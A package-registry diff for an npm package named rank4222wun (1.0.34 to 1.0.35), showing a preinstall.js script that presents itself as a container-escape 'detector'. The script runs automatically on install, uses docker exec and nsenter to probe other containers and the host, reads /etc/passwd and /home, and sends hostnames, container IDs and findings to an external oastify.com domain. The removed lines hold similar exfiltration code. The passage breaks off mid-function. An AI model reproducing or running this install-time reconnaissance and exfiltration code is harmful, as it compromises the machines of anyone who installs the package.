rank4222wun 1.0.34 → 1.0.35
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +865 -557
- package/rank4222wun-1.0.35.tgz +0 -0
- package/rank4222wun-1.0.34.tgz +0 -0
package/preinstall.js
CHANGED
|
@@ -1,629 +1,937 @@
|
|
|
1
|
-
// container-escape-
|
|
1
|
+
// multi-container-escape-detector.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
3
|
const os = require('os');
|
|
4
4
|
const fs = require('fs');
|
|
5
5
|
const path = require('path');
|
|
6
6
|
const https = require('https');
|
|
7
7
|
const dns = require('dns');
|
|
8
|
+
const crypto = require('crypto');
|
|
8
9
|
|
|
9
|
-
console.log(
|
|
10
|
-
|
|
10
|
+
console.log(`
|
|
11
|
+
╔══════════════════════════════════════════════════════════╗
|
|
12
|
+
║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
|
|
13
|
+
║ Advanced Container Security Assessment ║
|
|
14
|
+
╚══════════════════════════════════════════════════════════╝
|
|
15
|
+
`);
|
|
11
16
|
|
|
12
|
-
//
|
|
13
|
-
const
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
timestamp: new Date().toISOString(),
|
|
22
|
-
sessionId: `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
23
|
-
oastDomain: OAST_CONFIG.domain,
|
|
24
|
-
|
|
25
|
-
// حالة النظام
|
|
26
|
-
systemInfo: {
|
|
27
|
-
currentHostname: os.hostname(),
|
|
28
|
-
currentUser: os.userInfo().username,
|
|
29
|
-
platform: os.platform(),
|
|
30
|
-
isContainer: null,
|
|
31
|
-
containerType: null,
|
|
32
|
-
containerId: null
|
|
33
|
-
},
|
|
34
|
-
|
|
35
|
-
// نتائج فحص الهروب
|
|
36
|
-
escapeChecks: {
|
|
37
|
-
nsenter: { found: false, accessible: false, evidence: null },
|
|
38
|
-
dockerSocket: { found: false, writable: false, containers: [] },
|
|
39
|
-
hostMounts: { found: false, mounts: [], hostAccess: false },
|
|
40
|
-
procAccess: { accessible: false, hostPid: null },
|
|
41
|
-
kernel: { version: null, vulnerable: false, exploits: [] },
|
|
42
|
-
capabilities: { dangerous: [], hasSysAdmin: false }
|
|
17
|
+
// ===================== CONFIGURATION =====================
|
|
18
|
+
const CONFIG = {
|
|
19
|
+
// OAST Configuration
|
|
20
|
+
OAST: {
|
|
21
|
+
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
22
|
+
httpsPort: 443,
|
|
23
|
+
httpPort: 80,
|
|
24
|
+
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
25
|
+
sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
43
26
|
},
|
|
44
27
|
|
|
45
|
-
//
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
28
|
+
// Scanning Configuration
|
|
29
|
+
SCAN: {
|
|
30
|
+
maxContainers: 50,
|
|
31
|
+
parallelScans: 5,
|
|
32
|
+
timeoutPerContainer: 30000,
|
|
33
|
+
deepScan: true,
|
|
34
|
+
autoExploit: false,
|
|
35
|
+
stealthMode: false
|
|
52
36
|
},
|
|
53
37
|
|
|
54
|
-
//
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
38
|
+
// Detection Methods
|
|
39
|
+
METHODS: {
|
|
40
|
+
nsenter: true,
|
|
41
|
+
dockerSocket: true,
|
|
42
|
+
procAccess: true,
|
|
43
|
+
kernelExploits: true,
|
|
44
|
+
hostMounts: true,
|
|
45
|
+
capabilities: true,
|
|
46
|
+
networkEscape: true
|
|
60
47
|
},
|
|
61
48
|
|
|
62
|
-
//
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
proofPoints: []
|
|
49
|
+
// Output Configuration
|
|
50
|
+
OUTPUT: {
|
|
51
|
+
saveReports: true,
|
|
52
|
+
reportFormat: 'json', // json, html, txt
|
|
53
|
+
verbose: true,
|
|
54
|
+
colorOutput: true
|
|
69
55
|
}
|
|
70
56
|
};
|
|
71
57
|
|
|
72
|
-
// =====================
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
58
|
+
// ===================== GLOBAL STATE =====================
|
|
59
|
+
const STATE = {
|
|
60
|
+
startTime: Date.now(),
|
|
61
|
+
containers: {},
|
|
62
|
+
hostInfo: null,
|
|
63
|
+
networkMap: {},
|
|
64
|
+
vulnerabilities: {},
|
|
65
|
+
oastInteractions: [],
|
|
66
|
+
statistics: {
|
|
67
|
+
totalContainers: 0,
|
|
68
|
+
scannedContainers: 0,
|
|
69
|
+
escapedContainers: 0,
|
|
70
|
+
vulnerableContainers: 0,
|
|
71
|
+
criticalEscapes: 0
|
|
72
|
+
}
|
|
73
|
+
};
|
|
74
|
+
|
|
75
|
+
// ===================== UTILITY FUNCTIONS =====================
|
|
76
|
+
class ContainerScanner {
|
|
77
|
+
constructor(containerId) {
|
|
78
|
+
this.id = containerId;
|
|
79
|
+
this.shortId = containerId.substring(0, 12);
|
|
80
|
+
this.info = {
|
|
81
|
+
id: containerId,
|
|
82
|
+
name: '',
|
|
83
|
+
image: '',
|
|
84
|
+
status: '',
|
|
85
|
+
escapeStatus: 'unknown',
|
|
86
|
+
confidence: 0,
|
|
87
|
+
evidence: [],
|
|
88
|
+
methods: [],
|
|
89
|
+
risk: 'low',
|
|
90
|
+
network: {},
|
|
91
|
+
mounts: [],
|
|
92
|
+
capabilities: [],
|
|
93
|
+
vulnerabilities: []
|
|
94
|
+
};
|
|
95
|
+
this.rawData = {};
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
async scan() {
|
|
99
|
+
try {
|
|
100
|
+
console.log(`\n🔍 Scanning container: ${this.shortId}`);
|
|
95
101
|
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
const httpReq = require('http').request({
|
|
99
|
-
hostname: OAST_CONFIG.domain,
|
|
100
|
-
port: OAST_CONFIG.httpPort,
|
|
101
|
-
path: `/${interactionId}`,
|
|
102
|
-
method: 'GET',
|
|
103
|
-
headers: {
|
|
104
|
-
'User-Agent': 'ContainerEscapeConfirm/1.0',
|
|
105
|
-
'X-Session-ID': evidenceLog.sessionId,
|
|
106
|
-
'X-Check-Type': data.checkType || 'unknown'
|
|
107
|
-
}
|
|
108
|
-
}, (res) => {
|
|
109
|
-
let body = '';
|
|
110
|
-
res.on('data', chunk => body += chunk);
|
|
111
|
-
res.on('end', () => {
|
|
112
|
-
evidenceLog.oastResults.httpCalled = true;
|
|
113
|
-
console.log(`✅ HTTP OAST request sent (${res.statusCode})`);
|
|
114
|
-
});
|
|
115
|
-
});
|
|
102
|
+
// Collect basic info
|
|
103
|
+
await this.collectBasicInfo();
|
|
116
104
|
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
httpReq.end();
|
|
120
|
-
break;
|
|
105
|
+
// Perform escape checks
|
|
106
|
+
await this.performEscapeChecks();
|
|
121
107
|
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
const httpsReq = https.request({
|
|
125
|
-
hostname: OAST_CONFIG.domain,
|
|
126
|
-
port: OAST_CONFIG.httpsPort,
|
|
127
|
-
path: `/container-escape-evidence`,
|
|
128
|
-
method: 'POST',
|
|
129
|
-
headers: {
|
|
130
|
-
'Content-Type': 'application/json',
|
|
131
|
-
'User-Agent': 'ContainerEscapeDetector/1.0',
|
|
132
|
-
'X-Session-ID': evidenceLog.sessionId,
|
|
133
|
-
'X-Hostname': os.hostname(),
|
|
134
|
-
'X-Check-Point': data.checkPoint || 'initial'
|
|
135
|
-
}
|
|
136
|
-
}, (res) => {
|
|
137
|
-
let responseBody = '';
|
|
138
|
-
res.on('data', chunk => responseBody += chunk);
|
|
139
|
-
res.on('end', () => {
|
|
140
|
-
evidenceLog.oastResults.httpsCalled = true;
|
|
141
|
-
console.log(`✅ HTTPS evidence sent to OAST (${res.statusCode})`);
|
|
142
|
-
|
|
143
|
-
// تخزين رد السيرفر إذا أرسل بيانات
|
|
144
|
-
if (responseBody) {
|
|
145
|
-
try {
|
|
146
|
-
const serverResponse = JSON.parse(responseBody);
|
|
147
|
-
interaction.serverResponse = serverResponse;
|
|
148
|
-
} catch (e) {}
|
|
149
|
-
}
|
|
150
|
-
});
|
|
151
|
-
});
|
|
108
|
+
// Analyze results
|
|
109
|
+
await this.analyzeResults();
|
|
152
110
|
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
});
|
|
111
|
+
// Report to OAST
|
|
112
|
+
await this.reportToOAST();
|
|
156
113
|
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
timestamp: new Date().toISOString(),
|
|
160
|
-
checkPoint: data.checkPoint,
|
|
161
|
-
evidence: data.evidence,
|
|
162
|
-
systemInfo: evidenceLog.systemInfo
|
|
163
|
-
}));
|
|
114
|
+
// Update statistics
|
|
115
|
+
this.updateStatistics();
|
|
164
116
|
|
|
165
|
-
|
|
166
|
-
|
|
117
|
+
return this.info;
|
|
118
|
+
} catch (error) {
|
|
119
|
+
console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
|
|
120
|
+
this.info.escapeStatus = 'scan_failed';
|
|
121
|
+
return this.info;
|
|
122
|
+
}
|
|
167
123
|
}
|
|
168
|
-
}
|
|
169
124
|
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
if (!output.includes('NO_RUNTIME')) {
|
|
212
|
-
console.log(`✅ Container runtime موجود: ${output.trim()}`);
|
|
125
|
+
async collectBasicInfo() {
|
|
126
|
+
const commands = {
|
|
127
|
+
name: `docker inspect ${this.id} --format '{{.Name}}'`,
|
|
128
|
+
image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
|
|
129
|
+
status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
|
|
130
|
+
ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
|
|
131
|
+
ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
|
|
132
|
+
mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
|
|
133
|
+
privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
|
|
134
|
+
capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
|
|
135
|
+
};
|
|
136
|
+
|
|
137
|
+
for (const [key, cmd] of Object.entries(commands)) {
|
|
138
|
+
try {
|
|
139
|
+
const result = await this.executeCommand(cmd);
|
|
140
|
+
this.rawData[key] = result;
|
|
141
|
+
|
|
142
|
+
// Parse specific data
|
|
143
|
+
switch(key) {
|
|
144
|
+
case 'name':
|
|
145
|
+
this.info.name = result.replace(/^\//, '');
|
|
146
|
+
break;
|
|
147
|
+
case 'image':
|
|
148
|
+
this.info.image = result;
|
|
149
|
+
break;
|
|
150
|
+
case 'status':
|
|
151
|
+
this.info.status = result;
|
|
152
|
+
break;
|
|
153
|
+
case 'ip':
|
|
154
|
+
this.info.network.ip = result;
|
|
155
|
+
break;
|
|
156
|
+
case 'mounts':
|
|
157
|
+
try {
|
|
158
|
+
this.info.mounts = JSON.parse(result || '[]');
|
|
159
|
+
} catch (e) {}
|
|
160
|
+
break;
|
|
161
|
+
case 'capabilities':
|
|
162
|
+
try {
|
|
163
|
+
this.info.capabilities = JSON.parse(result || '[]');
|
|
164
|
+
} catch (e) {}
|
|
165
|
+
break;
|
|
213
166
|
}
|
|
167
|
+
} catch (e) {
|
|
168
|
+
this.rawData[key] = null;
|
|
214
169
|
}
|
|
215
170
|
}
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
async performEscapeChecks() {
|
|
174
|
+
const checks = [];
|
|
175
|
+
|
|
176
|
+
if (CONFIG.METHODS.nsenter) {
|
|
177
|
+
checks.push(this.checkNsenterEscape());
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
if (CONFIG.METHODS.dockerSocket) {
|
|
181
|
+
checks.push(this.checkDockerSocketEscape());
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
if (CONFIG.METHODS.procAccess) {
|
|
185
|
+
checks.push(this.checkProcEscape());
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
if (CONFIG.METHODS.hostMounts) {
|
|
189
|
+
checks.push(this.checkMountEscape());
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
if (CONFIG.METHODS.kernelExploits) {
|
|
193
|
+
checks.push(this.checkKernelVulnerabilities());
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
if (CONFIG.METHODS.capabilities) {
|
|
197
|
+
checks.push(this.checkDangerousCapabilities());
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
if (CONFIG.METHODS.networkEscape) {
|
|
201
|
+
checks.push(this.checkNetworkEscape());
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
await Promise.all(checks);
|
|
205
|
+
}
|
|
206
|
+
|
|
207
|
+
async checkNsenterEscape() {
|
|
208
|
+
const command = `docker exec ${this.id} sh -c '
|
|
209
|
+
which nsenter >/dev/null 2>&1 &&
|
|
210
|
+
nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
|
|
211
|
+
echo "FAILED"
|
|
212
|
+
'`;
|
|
213
|
+
|
|
214
|
+
try {
|
|
215
|
+
const result = await this.executeCommand(command);
|
|
216
|
+
if (!result.includes('FAILED') && result.trim()) {
|
|
217
|
+
this.info.methods.push('nsenter');
|
|
218
|
+
this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
|
|
219
|
+
this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
|
|
231
220
|
}
|
|
232
|
-
})
|
|
233
|
-
}
|
|
234
|
-
}
|
|
221
|
+
} catch (e) {}
|
|
222
|
+
}
|
|
235
223
|
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
'
|
|
252
|
-
'timeout 2 nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"'
|
|
253
|
-
],
|
|
254
|
-
handler: (results) => {
|
|
255
|
-
const [nsenterPath, nsenterOutput] = results;
|
|
224
|
+
async checkDockerSocketEscape() {
|
|
225
|
+
const commands = [
|
|
226
|
+
// Check if docker.sock is mounted
|
|
227
|
+
`docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
|
|
228
|
+
// Try to access Docker API
|
|
229
|
+
`docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
|
|
230
|
+
];
|
|
231
|
+
|
|
232
|
+
try {
|
|
233
|
+
const [socketCheck, apiCheck] = await Promise.all(
|
|
234
|
+
commands.map(cmd => this.executeCommand(cmd))
|
|
235
|
+
);
|
|
236
|
+
|
|
237
|
+
if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
|
|
238
|
+
this.info.methods.push('docker_socket');
|
|
239
|
+
this.info.evidence.push('Docker socket accessible and writable');
|
|
256
240
|
|
|
257
|
-
|
|
241
|
+
// Try to list other containers
|
|
242
|
+
const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
|
|
243
|
+
const containerCount = await this.executeCommand(listCmd);
|
|
258
244
|
|
|
259
|
-
if (
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
let containerHostname = '';
|
|
266
|
-
|
|
267
|
-
lines.forEach(line => {
|
|
268
|
-
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
269
|
-
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
270
|
-
}
|
|
271
|
-
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
272
|
-
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
273
|
-
}
|
|
245
|
+
if (parseInt(containerCount) > 1) {
|
|
246
|
+
this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
|
|
247
|
+
this.sendOAST('docker_socket_escape', {
|
|
248
|
+
container: this.shortId,
|
|
249
|
+
accessible: true,
|
|
250
|
+
containerCount: containerCount.trim()
|
|
274
251
|
});
|
|
275
|
-
|
|
276
|
-
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
277
|
-
evidenceLog.definitiveEvidence.differentHostnameConfirmed = true;
|
|
278
|
-
evidenceLog.escapeChecks.nsenter.evidence = `Host: ${hostHostname}, Container: ${containerHostname}`;
|
|
279
|
-
console.log(`🎯 DETECTED: Different hostnames! Host: ${hostHostname}, Container: ${containerHostname}`);
|
|
280
|
-
|
|
281
|
-
// إرسال أدلة قوية إلى OAST
|
|
282
|
-
sendOASTInteraction('HTTPS', {
|
|
283
|
-
checkPoint: 'nsenter_escape_confirmed',
|
|
284
|
-
evidence: {
|
|
285
|
-
hostHostname: hostHostname,
|
|
286
|
-
containerHostname: containerHostname,
|
|
287
|
-
method: 'nsenter'
|
|
288
|
-
}
|
|
289
|
-
});
|
|
290
|
-
}
|
|
291
252
|
}
|
|
292
253
|
}
|
|
293
|
-
}
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
254
|
+
} catch (e) {}
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
async checkProcEscape() {
|
|
258
|
+
const command = `docker exec ${this.id} sh -c '
|
|
259
|
+
cat /proc/1/status 2>/dev/null | head -5 &&
|
|
260
|
+
cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
|
|
261
|
+
echo "NO_ACCESS"
|
|
262
|
+
'`;
|
|
263
|
+
|
|
264
|
+
try {
|
|
265
|
+
const result = await this.executeCommand(command);
|
|
266
|
+
if (!result.includes('NO_ACCESS') && result.includes('State:')) {
|
|
267
|
+
this.info.methods.push('proc_access');
|
|
268
|
+
this.info.evidence.push('Can access host init process via /proc/1/');
|
|
269
|
+
this.sendOAST('proc_escape', { container: this.shortId });
|
|
270
|
+
}
|
|
271
|
+
} catch (e) {}
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
async checkMountEscape() {
|
|
275
|
+
const command = `docker exec ${this.id} sh -c '
|
|
276
|
+
mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
|
|
277
|
+
cat /proc/mounts 2>/dev/null | head -20
|
|
278
|
+
'`;
|
|
279
|
+
|
|
280
|
+
try {
|
|
281
|
+
const result = await this.executeCommand(command);
|
|
282
|
+
if (result) {
|
|
283
|
+
const lines = result.split('\n');
|
|
284
|
+
const dangerousMounts = lines.filter(line =>
|
|
285
|
+
line.includes('/proc') ||
|
|
286
|
+
line.includes('/sys') ||
|
|
287
|
+
line.includes('/dev') ||
|
|
288
|
+
line.includes('overlay')
|
|
289
|
+
);
|
|
307
290
|
|
|
308
|
-
if (
|
|
309
|
-
|
|
310
|
-
|
|
291
|
+
if (dangerousMounts.length > 0) {
|
|
292
|
+
this.info.methods.push('host_mounts');
|
|
293
|
+
this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
|
|
311
294
|
|
|
312
|
-
//
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
method: 'docker_socket'
|
|
327
|
-
}
|
|
328
|
-
});
|
|
329
|
-
}
|
|
330
|
-
}
|
|
295
|
+
// Check if we can access host files through mounts
|
|
296
|
+
const testCmd = `docker exec ${this.id} sh -c '
|
|
297
|
+
ls -la /home 2>/dev/null | head -3 ||
|
|
298
|
+
cat /etc/passwd 2>/dev/null | head -3 ||
|
|
299
|
+
echo "NO_HOST_ACCESS"
|
|
300
|
+
'`;
|
|
301
|
+
|
|
302
|
+
const accessResult = await this.executeCommand(testCmd);
|
|
303
|
+
if (!accessResult.includes('NO_HOST_ACCESS')) {
|
|
304
|
+
this.info.evidence.push('Can access host files through mounts');
|
|
305
|
+
this.sendOAST('mount_escape', {
|
|
306
|
+
container: this.shortId,
|
|
307
|
+
mounts: dangerousMounts.slice(0, 3),
|
|
308
|
+
hostAccess: true
|
|
331
309
|
});
|
|
310
|
+
}
|
|
332
311
|
}
|
|
333
312
|
}
|
|
334
|
-
}
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
console.log("🎯 DETECTED: Can access /home directory of host!");
|
|
350
|
-
}
|
|
351
|
-
|
|
352
|
-
if (!passwdAccess.includes('NO_ACCESS')) {
|
|
353
|
-
evidenceLog.definitiveEvidence.hostUsersReadable = true;
|
|
354
|
-
console.log("🎯 DETECTED: Can read /etc/passwd of host!");
|
|
355
|
-
}
|
|
313
|
+
} catch (e) {}
|
|
314
|
+
}
|
|
315
|
+
|
|
316
|
+
async checkKernelVulnerabilities() {
|
|
317
|
+
const command = `docker exec ${this.id} sh -c '
|
|
318
|
+
uname -r &&
|
|
319
|
+
grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
|
|
320
|
+
echo "NO_INFO"
|
|
321
|
+
'`;
|
|
322
|
+
|
|
323
|
+
try {
|
|
324
|
+
const result = await this.executeCommand(command);
|
|
325
|
+
if (!result.includes('NO_INFO')) {
|
|
326
|
+
const lines = result.split('\n');
|
|
327
|
+
const kernel = lines[0]?.trim();
|
|
356
328
|
|
|
357
|
-
if (
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
329
|
+
if (kernel) {
|
|
330
|
+
this.info.vulnerabilities.push(`Kernel: ${kernel}`);
|
|
331
|
+
|
|
332
|
+
// Check for known vulnerable kernels
|
|
333
|
+
const vulnerableKernels = {
|
|
334
|
+
'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
|
|
335
|
+
'DirtyCow': /^(2\.6\.|3\.|4\.)/,
|
|
336
|
+
'Shocker': /^(3\.8|3\.9|3\.10)\./
|
|
337
|
+
};
|
|
338
|
+
|
|
339
|
+
for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
|
|
340
|
+
if (pattern.test(kernel)) {
|
|
341
|
+
this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
|
|
342
|
+
this.sendOAST('kernel_vuln', {
|
|
343
|
+
container: this.shortId,
|
|
344
|
+
kernel: kernel,
|
|
345
|
+
vulnerability: vuln
|
|
346
|
+
});
|
|
347
|
+
break;
|
|
363
348
|
}
|
|
364
|
-
}
|
|
349
|
+
}
|
|
365
350
|
}
|
|
366
351
|
}
|
|
367
|
-
}
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
|
|
352
|
+
} catch (e) {}
|
|
353
|
+
}
|
|
354
|
+
|
|
355
|
+
async checkDangerousCapabilities() {
|
|
356
|
+
const command = `docker exec ${this.id} sh -c '
|
|
357
|
+
capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
|
|
358
|
+
echo "NO_CAPSH"
|
|
359
|
+
'`;
|
|
360
|
+
|
|
361
|
+
try {
|
|
362
|
+
const result = await this.executeCommand(command);
|
|
363
|
+
if (!result.includes('NO_CAPSH') && result.trim()) {
|
|
364
|
+
const dangerousCaps = [
|
|
365
|
+
'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
|
|
366
|
+
'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
|
|
367
|
+
];
|
|
383
368
|
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
369
|
+
const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
|
|
370
|
+
if (foundCaps.length > 0) {
|
|
371
|
+
this.info.methods.push('capabilities');
|
|
372
|
+
this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
|
|
373
|
+
this.sendOAST('dangerous_caps', {
|
|
374
|
+
container: this.shortId,
|
|
375
|
+
capabilities: foundCaps
|
|
376
|
+
});
|
|
388
377
|
}
|
|
389
378
|
}
|
|
390
|
-
}
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
379
|
+
} catch (e) {}
|
|
380
|
+
}
|
|
381
|
+
|
|
382
|
+
async checkNetworkEscape() {
|
|
383
|
+
const commands = [
|
|
384
|
+
`docker exec ${this.id} ip route show 2>/dev/null | head -5`,
|
|
385
|
+
`docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
|
|
386
|
+
`docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
|
|
387
|
+
];
|
|
388
|
+
|
|
389
|
+
try {
|
|
390
|
+
const results = await Promise.all(
|
|
391
|
+
commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
|
|
392
|
+
);
|
|
393
|
+
|
|
394
|
+
if (results.some(r => r.trim())) {
|
|
395
|
+
this.info.methods.push('network_escape');
|
|
396
|
+
this.info.network.details = {
|
|
397
|
+
routes: results[0]?.split('\n').slice(0, 3) || [],
|
|
398
|
+
connections: results[1]?.split('\n').slice(0, 5) || [],
|
|
399
|
+
iptables: results[2]?.split('\n').slice(0, 10) || []
|
|
400
|
+
};
|
|
406
401
|
}
|
|
402
|
+
} catch (e) {}
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
async analyzeResults() {
|
|
406
|
+
// Calculate confidence score
|
|
407
|
+
let score = 0;
|
|
408
|
+
|
|
409
|
+
// Method points
|
|
410
|
+
const methodPoints = {
|
|
411
|
+
nsenter: 25,
|
|
412
|
+
docker_socket: 30,
|
|
413
|
+
proc_access: 20,
|
|
414
|
+
host_mounts: 15,
|
|
415
|
+
capabilities: 10,
|
|
416
|
+
network_escape: 10
|
|
417
|
+
};
|
|
418
|
+
|
|
419
|
+
this.info.methods.forEach(method => {
|
|
420
|
+
score += methodPoints[method] || 0;
|
|
421
|
+
});
|
|
422
|
+
|
|
423
|
+
// Vulnerability points
|
|
424
|
+
if (this.info.vulnerabilities.length > 0) {
|
|
425
|
+
score += this.info.vulnerabilities.length * 10;
|
|
407
426
|
}
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
426
|
-
|
|
427
|
-
|
|
428
|
-
|
|
427
|
+
|
|
428
